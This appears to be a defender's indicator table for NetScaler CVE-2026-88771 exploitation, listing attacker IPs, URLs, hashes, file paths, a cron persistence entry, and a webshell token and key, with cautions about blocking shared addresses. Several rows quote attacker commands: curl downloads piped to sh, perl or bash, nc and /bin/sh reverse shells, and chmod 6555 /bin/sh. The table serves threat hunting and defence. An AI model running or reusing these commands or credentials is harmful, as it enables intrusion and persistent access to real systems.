| IPv4 | 191.37.30.194 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WRNET LTDA, Brazil) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 23.234.74.48 | GreyNoise tag [80]; Poppelgaard [56] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (tzulo, inc., United States). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to confirmed command-injection sources | Huntback decoy telemetry plus GreyNoise tagging. VPN or proxy exit shared by many users; do not block on GreyNoise tagging alone - Huntback's injection evidence is the discriminator. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 72.73.231.73 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Verizon Business, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 95.229.84.239 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Telecom Italia S.p.A., Italy) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 113.137.102.68 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.243.125.255 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.76.92.109 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 8.217.173.25 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 8.210.67.91 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.239.205.29 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.76.132.65 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 8.218.219.56 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.76.102.1 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.76.63.52 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 8.210.119.74 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 64.177.93.71 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, Mexico) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 44.252.255.141 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 194.242.130.193 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WAHYU, Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 125.122.56.47 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 23.132.164.35 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Netiface America, Inc., Switzerland) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 92.118.204.229 | GreyNoise tag [80]; LevelBlue SpiderLabs (THOR team) [63] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Catixs Ltd, United States). LevelBlue: source of command-execution testing (e.g. whoami) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 54.70.59.128 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 44.226.128.41 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 4.246.63.96 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Microsoft Corporation, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 176.65.148.54 | watchTowr Intel [44]; watchTowr [76]; GreyNoise tag [80] | Sliver C2 endpoint and staging server of the watchTowr-captured ns_helper implant (beacons to :80 and :8080/ns_helper staging, also http), identified 7 Oct; Huntback also lists it as a confirmed command-injection source (moved from its scanner group). Earlier: tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Pfcloud UG, Netherlands) | Multi-source: watchTowr sinkholed the implant beacons and staging from this host; GreyNoise and Huntback corroborate exploitation/injection activity. Keep it blocked. | Public blog and GitHub repository, no TLP marking |
| IPv4 | 104.28.193.147 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 29 (Cloudflare, Inc., Japan) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 104.28.211.105 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 29 (Cloudflare, Inc., Japan) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | GreyNoise Visualizer tag search, viewed Sep 29 |
| User-Agent | Python-urllib | Lupovis (@LupovisDefence) on X, Sep 28 [86] | Client used for CVE-2026-88771 log-poison exploitation on Lupovis decoys (payload runs id;uname, DNS callback to httpworkbench) | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. Python-urllib is a common library default; only meaningful together with the auth-endpoint payload. | Public post, no TLP marking |
| URI path | /vpn/scripts/linux/nsgclient18.deb | Maurice_Sec on X [135]; CyberMaxx [75]; Google GTIG / Mandiant [51]; Unit 42 (Palo Alto Networks) [123] | GET requests referenced in a NetScaler Console IoC scanner finding (Maurice_Sec field notes) | Single practitioner report; the author is "not 100%" on this finding. Matches the GTIG nsgclient*.deb staging pattern. A legitimate client package normally lives at similar paths, so check file content, not just the name. | Public post, no TLP marking |
| URI path | /vpn/scripts/linux/nsgclient18_32.deb | Maurice_Sec on X [135]; CyberMaxx [75]; Google GTIG / Mandiant [51] | GET requests referenced in a NetScaler Console IoC scanner finding (Maurice_Sec field notes) | Single practitioner report; the author is "not 100%" on this finding. Matches the GTIG nsgclient*.deb staging pattern. Check file content, not just the name. | Public post, no TLP marking |
| Domain | echvista.com | IFIN [81] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. No A record when checked on Sep 29. | Public, no restriction |
| SHA-256 | 73b74309f4728d169cc9edfb2767c5aadd75d39b62de93c935a86c777d2646bc | Arctic Wolf [53] | First payload returned from /xd7h/x | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| SHA-256 | 9c7bf01d2c2cb31a3609d27c1bc9abc60d86e37b7f9908547e0c75fb18b99aab | Arctic Wolf [53] | nsmon.pl Perl implant returned from /xd7h/nsmon.pl | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| SHA-256 | 57f9f30c50240fd48d761de7961a430cdebf2c084a36bc76d376a1ce8e6dfa9d | Arctic Wolf [53]; eSentire TRU blog [70] | The "x" stager shell script: Platypus-server-generated, downloaded by curl -k http://62.133.62.80:80/xd7h/x > /.x and run with sh /.x (eSentire TRU Cluster B; the command matches the Platypus project's documented enrollment nearly verbatim) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| SHA-256 | 974b69782fdf5d67b97cfd508465939e44ee10798dbcc1e82b92d78776bad938 | Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63] | Perl script update_c08937.pl | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| SHA-256 | 927c7fbef2e620c1ce482c3ed67ebf53da97693c1d6c7552c77aec84ba982cf8 | Arctic Wolf [53]; eSentire TRU blog [70] | Platypus bootstrap script (server-generated) retrieved from entretiensol.com: downloads the agent from https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest), sets PLATYPUS_INSTALL_TOKEN and enrolls against entretiensol.com:443 (eSentire TRU Cluster B; mirrors the project's distributor.go) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 45.141.21.130 | Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63]; eSentire TRU blog [70] | Reverse-shell destination: /bin/sh -i to port 443. ASN 214961, Stellar Group SAS (per eSentire Cluster D) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| IPv4 | 68.178.160.183 | Arctic Wolf [53] | Payload host on ports 8888 and 8899 (/test, /test111) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 89.44.80.7 | Arctic Wolf [53] | Callback host: /exec-ok and Base64 id output on port 65456; nc -e /bin/sh to port 58963 | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 130.94.42.226 | Arctic Wolf [53] | Callback on port 18805 | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 134.175.71.50 | Arctic Wolf [53] | Payload host on port 4123 | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 177.4.12.11 | Arctic Wolf [53] | Served /s?t=a, b and c on port 8080, piped to sh | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://64.94.85.67:443/update_c08937.pl | Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63] | Fetched with curl and piped to perl inside the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| URL | http://62.133.62.80:80/xd7h/x | Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63] | First payload fetched by the appliance | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| URL | http://62.133.62.80:80/xd7h/nsmon.pl | Arctic Wolf [53] | nsmon.pl implant download | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://23.27.143.20:9000/main.py | Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63] | Python payload download | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| URL | http://153.75.82.220/download/x.sh | Arctic Wolf [53] | Shell payload, piped to bash | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Domain | entretiensol.com | Arctic Wolf [53]; eSentire TRU blog [70] | Served a Platypus agent over HTTPS (/api/v1/install/...). eSentire also gives the artifact download path format https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.nsmon/nsmon.pl | Arctic Wolf [53] | nsmon.pl copies itself here with 0755 permissions | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| File path | /var/1.py | Arctic Wolf [53] | main.py saved here before execution | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.s | Arctic Wolf [53] | File path listed by Arctic Wolf | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Cron entry | */5 * * * * root perl /var/tmp/.nsmon/nsmon.pl >/dev/null 2>&1 | Arctic Wolf [53] | Cron entry nsmon.pl attempts to add to /etc/crontab or /nsconfig/crontab (attempted persistence); includes the output redirect in Arctic Wolf's original | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Network | TCP listener on 41000-41999 | Arctic Wolf [53] | nsmon.pl attempts to listen on 0.0.0.0 on a configured port or a free port in this range | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 78.47.24.217 | Unit 42 (Palo Alto Networks) [123] | Fingerprinting 21-22 Aug; part of the 21 Sep three-stage webshell drop | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 66.135.19.18 | Unit 42 (Palo Alto Networks) [123] | One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.deb | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 167.99.111.203 | Unit 42 (Palo Alto Networks) [123] | One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.deb | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 142.93.85.227 | Unit 42 (Palo Alto Networks) [123] | One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.deb | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 104.248.74.206 | Unit 42 (Palo Alto Networks) [123] | One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.deb | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 137.184.91.207 | Unit 42 (Palo Alto Networks) [123] | Requested the same .deb files on 7 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 162.33.178.9 | Unit 42 (Palo Alto Networks) [123] | Requested nsgbuild.deb and nsgsupport.deb on 14 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 193.149.176.207 | Unit 42 (Palo Alto Networks) [123] | Requested nsgbuild.deb daily 15-24 Sep (most of the requests Unit 42 saw) and GetUserName | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 45.61.136.143 | Unit 42 (Palo Alto Networks) [123] | Listed in the Unit 42 network indicators | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 66.227.183.84 | Unit 42 (Palo Alto Networks) [123] | Listed in the Unit 42 network indicators | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 216.245.184.164 | Unit 42 (Palo Alto Networks) [123] | Listed in the Unit 42 network indicators | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 104.28.215.137 | Unit 42 (Palo Alto Networks) [123] | Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | Public blog, no TLP marking |
| IPv4 | 104.28.247.136 | Unit 42 (Palo Alto Networks) [123] | Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | Public blog, no TLP marking |
| IPv4 | 104.28.215.136 | Unit 42 (Palo Alto Networks) [123] | Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | Public blog, no TLP marking |
| IPv4 | 104.28.247.137 | Unit 42 (Palo Alto Networks) [123] | GetUserName request stream 10-27 Sep (Cloudflare WARP) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | Public blog, no TLP marking |
| SHA-256 | ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec | Unit 42 (Palo Alto Networks) [123] | nsg64.deb PHP webshell: RC4-encrypted C2 with exec, upload and file exfiltration; privilege escalation through the legitimate SUID binary /var/netscaler/.ns_suidcmd | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| SHA-256 | 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d | Unit 42 (Palo Alto Networks) [123] | Text of Unit 42 Figure 1 (Base64 payload) | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Hash of a text file reproducing the figure, so it will not match on-disk artefacts. | Public blog, no TLP marking |
| SHA-256 | 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186 | Unit 42 (Palo Alto Networks) [123] | Text of Unit 42 Figure 2 (decoded shell script) | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Hash of a text file reproducing the figure, so it will not match on-disk artefacts. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsg64.deb | Unit 42 (Palo Alto Networks) [123] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgser18.deb | Unit 42 (Palo Alto Networks) [123] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgsupport.deb | Unit 42 (Palo Alto Networks) [123] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgpackage64.deb | Unit 42 (Palo Alto Networks) [123] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgbuild.deb | Unit 42 (Palo Alto Networks) [123] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /logon/LogonPoint/Authentication/GetUserName | Unit 42 (Palo Alto Networks) [123] | Continuous request stream 10-27 Sep; Unit 42 believes any activity to this path is anomalous | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /admin_ui/common/css/ns/ui.css | Unit 42 (Palo Alto Networks) [123] | Requested 21-22 Aug for version fingerprinting | Legitimate NetScaler file used for fingerprinting, not an IoC on its own. Hunt for requests from the listed IPs or unusual sources. | Public blog, no TLP marking |
| URI path | /vpn/js/rdx/core/lang/rdx_en.json.gz | Unit 42 (Palo Alto Networks) [123] | Requested 21-22 Aug for version fingerprinting | Legitimate NetScaler file used for fingerprinting, not an IoC on its own. Hunt for requests from the listed IPs or unusual sources. | Public blog, no TLP marking |
| Cookie value | e826d7ddf3c85920 | Unit 42 (Palo Alto Networks) [123] | CsrfToken value that unlocks the .ctxs.receiver webshell; the NSC_TASS cookie carries the command | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Unit 42 calls it a per-implant password; other intrusions may use other tokens. | Public blog, no TLP marking |
| RC4 key | 7489a0f93c67fa5cdaeb4b921d90594d | Unit 42 (Palo Alto Networks) [123] | nsg64.deb C2 key: MD5 of the hard-coded passphrase Rhfajaf1H992; operators authenticate with the k parameter | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| Command | chmod 6555 /bin/sh | Unit 42 (Palo Alto Networks) [123] | First step of the decoded .ctxs.receiver installer: sets SUID and SGID on /bin/sh | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 45.76.34.141 | Sygnia [54] | Sygnia confidence High: observed in malicious AAA events | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| IPv4 | 170.64.176.26 | Sygnia [54] | Sygnia confidence High: associated with activity in an active IR investigation | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| IPv4 | 209.250.236.77 | Sygnia [54] | Sygnia confidence Medium: time-correlated with exploit-style activity | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| IPv4 | 138.68.21.29 | Sygnia [54] | Sygnia confidence Medium: strong temporal and service-path correlation | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| File path | /var/netscaler/gui/vpn/scripts/linux/1bd8a664.sig | Sygnia [54] | Suspicious .sig file in a web-accessible directory | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| File path | /netscaler/ns_gui/vpn/c88771.json | Sygnia [54] | Suspicious JSON artefact in the VPN web directory | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| File path | /var/netscaler/logon/insight-new.js | Sygnia [54]; LevelBlue SpiderLabs (THOR team) [63] | Target of an attempted copy of /flash/nsconfig/ns.conf (configuration exposure) | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public advisory, no TLP marking |
| File path | /netscaler/ns_gui/admin_ui/e.txt, /netscaler/ns_gui/admin_ui/log.txt (and /var/netscaler/gui/admin_ui/ equivalents) | Poppelgaard [56] | Files the payloads write stolen data or loaders into (Gotham + Deyda, via the Poppelgaard checker v1.7): path, size and date are shown by the checker, never the contents - they can hold configuration data. Preserve and inspect them securely. | Hunting lead from a compiled checker list; a file existing here can also be your own admin UI output - check size and mtime before treating it as compromise. | Public GitHub repository, no TLP marking |
| File name | 80974ca9.sig | Sygnia [54] | Artefact in a NetScaler web-accessible directory | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
